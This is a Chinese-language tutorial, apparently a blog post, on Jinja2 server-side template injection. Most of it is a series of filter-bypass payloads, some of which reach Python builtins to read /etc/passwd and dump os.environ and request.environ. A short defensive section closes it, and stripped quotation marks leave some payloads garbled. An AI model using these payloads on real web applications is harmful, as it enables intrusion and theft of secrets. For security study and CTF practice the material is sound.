Jinja2 SSTI绕过:从基础语法到高级过滤器实战

Jinja2 SSTI绕过:从基础语法到高级过滤器实战 1. Jinja2 SSTI漏洞基础解析第一次遇到Jinja2 SSTI漏洞时我盯着那个看似无害的模板表达式看了半天。这种漏洞就像藏在糖果里的刀片表面人畜无害实际暗藏杀机。SSTI全称Server-Side Template Injection中文叫服务端模板注入简单说就是攻击者能够将恶意模板代码注入到服务端执行。Jinja2作为Python生态中最流行的模板引擎之一广泛用于Flask、Django等框架。它的基本语法结构很简单{% ... %}用于语句块{{ ... }}用于表达式输出{# ... #}用于注释危险往往就藏在{{}}这个看似简单的表达式里。记得有次审计代码发现开发者直接这样写app.route(/welcome) def welcome(): name request.args.get(name) return render_template_string(fHello {name})当用户输入{{7*7}}时返回的竟然是Hello 49这个简单的测试就像XSS中的scriptalert(1)/script立刻暴露了漏洞。2. 基础绕过技巧实战2.1 属性访问的多种姿势当发现SSTI漏洞后第一目标通常是获取__class__属性。常规方法是{{ .__class__ }}但实战中经常会遇到过滤点号(.)的情况。这时我发现中括号[]是个好帮手{{ [__class__] }}原理很简单Jinja2允许用Python的__getitem__语法访问属性。更进一步如果关键字被过滤可以用字符串拼接{{ [__class__] }} {{ [__class__] }} # Jinja2允许字符串直接拼接2.2 字符串构造的艺术在某个CTF比赛中我遇到了过滤所有下划线的变态规则。当时灵机一动想到了ASCII码转换{{ {0:c}{1:c}{2:c}{3:c}{4:c}.format(95,95,99,108,97) }} # 输出__cla还有更隐蔽的十六进制编码{{ \x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f }} # __class__对于Python 2环境还可以玩base64{{ X19jbGFzc19f.decode(base64) }}3. 高级过滤器魔法3.1 过滤器链的妙用Jinja2的过滤器就像瑞士军刀我常用attr过滤器替代点号{{ |attr(__class__) }}当遇到字符限制时format过滤器是救命稻草{{ %c%c%c%c|format(95,95,99,108) }} # __cl最惊艳的是select和string的组合技{{ (()|select|string)[24] }} # 获取下划线_3.2 冷门过滤器的奇效join过滤器可以巧妙拼接字符串{{ [__clas,s__]|join }}replace和reverse能变形字符串{{ __claee__|replace(ee,ss) }} {{ __ssalc__|reverse }}在某个实际案例中我甚至用list过滤器把对象转为字符列表{{ (()|select|string|list).pop(0) }} # 获取4. 实战中的绕过思路4.1 内置函数获取方法当需要调用chr()等函数时我通常会从这些地方找{{ url_for.__globals__[__builtins__].chr(65) }} # A {{ get_flashed_messages.__globals__.__builtins__.open(/etc/passwd).read() }}有个小技巧是利用|attr链式调用{{ config|attr(__class__)|attr(__init__)|attr(__globals__) }}4.2 上下文逃逸技巧在受限环境下我常用这些方式获取敏感数据{{ self.__dict__._TemplateReference__context }} {{ request.environ }}最近遇到一个案例通过cycler对象访问到了配置{{ cycler.__init__.__globals__.os.environ }}5. 防御与对抗开发中我总结了几条防御经验永远不要直接渲染用户输入使用Jinja2的沙箱环境严格限制可用过滤器和全局变量正则过滤__等危险字符配置安全的Jinja2环境可以这样写env Environment(autoescapeTrue) env.globals {safe_globals: None} # 清空危险全局变量记得有次代码审计发现开发者虽然过滤了__class__但忽略了\x5f\x5fclass\x5f\x5f这种编码形式。安全防护必须多角度考虑就像我常跟团队说的防御者要考虑所有可能性攻击者只需要找到一个突破口。